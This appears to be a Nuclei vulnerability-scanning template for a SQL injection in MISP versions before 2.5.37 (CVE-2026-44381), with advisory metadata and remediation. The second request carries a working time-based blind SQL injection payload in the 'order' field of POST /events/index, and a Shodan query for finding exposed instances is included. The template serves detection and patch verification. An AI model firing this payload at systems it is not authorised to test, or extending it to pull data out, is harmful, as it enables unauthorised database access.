MISP < 2.5.37 - SQL Injection

id: CVE-2026-44381

info:
  name: MISP < 2.5.37 - SQL Injection
  author: malcha
  severity: medium
  description: |
    MISP before 2.5.37 is vulnerable to SQL injection via the order parameter in EventsController. The POST body order value is passed directly into ORDER BY clauses without validation.
  impact: |
    Attackers can manipulate SQL queries to access or modify unauthorized data, potentially compromising database integrity and confidentiality.
  remediation: |
    Upgrade MISP to version 2.5.37 or later.
  reference:
    - https://github.com/MISP/MISP/security/advisories/GHSA-4cxp-22wm-j6jr
    - https://github.com/MISP/MISP/commit/53fc6be7da1c010ca4696a37c6e27bb699377efa
    - https://nvd.nist.gov/vuln/detail/CVE-2026-44381
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-44381
    epss-score: 0.00666
    epss-percentile: 0.48689
    cwe-id: CWE-89
  metadata:
    max-request: 2
    verified: true
    shodan-query: http.title:"MISP"
  tags: cve,cve2026,misp,sqli

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /users/login HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        words:
          - "MISP"
        internal: true

  - raw:
      - |
        @timeout: 30s
        POST /events/index HTTP/1.1
        Host: {{Hostname}}
        Authorization: {{auth_key}}
        Content-Type: application/json

        {"order":"(SELECT 1 FROM (SELECT(SLEEP(8)))A)"}

    matchers:
      - type: dsl
        dsl:
          - "duration >= 8"
          - "status_code == 200 || status_code == 500"
        condition: and
# digest: 4b0a00483046022100893010f6fb1f08ffc5a40746163e2380ec0267eb3b1e16a1c6d89a9d43aa47a3022100909745f13d8f7b191dc83e979223e61cfb3c1976322ba5f490e377eecb9bb110:922c64590222798bb761d5b6d8e72950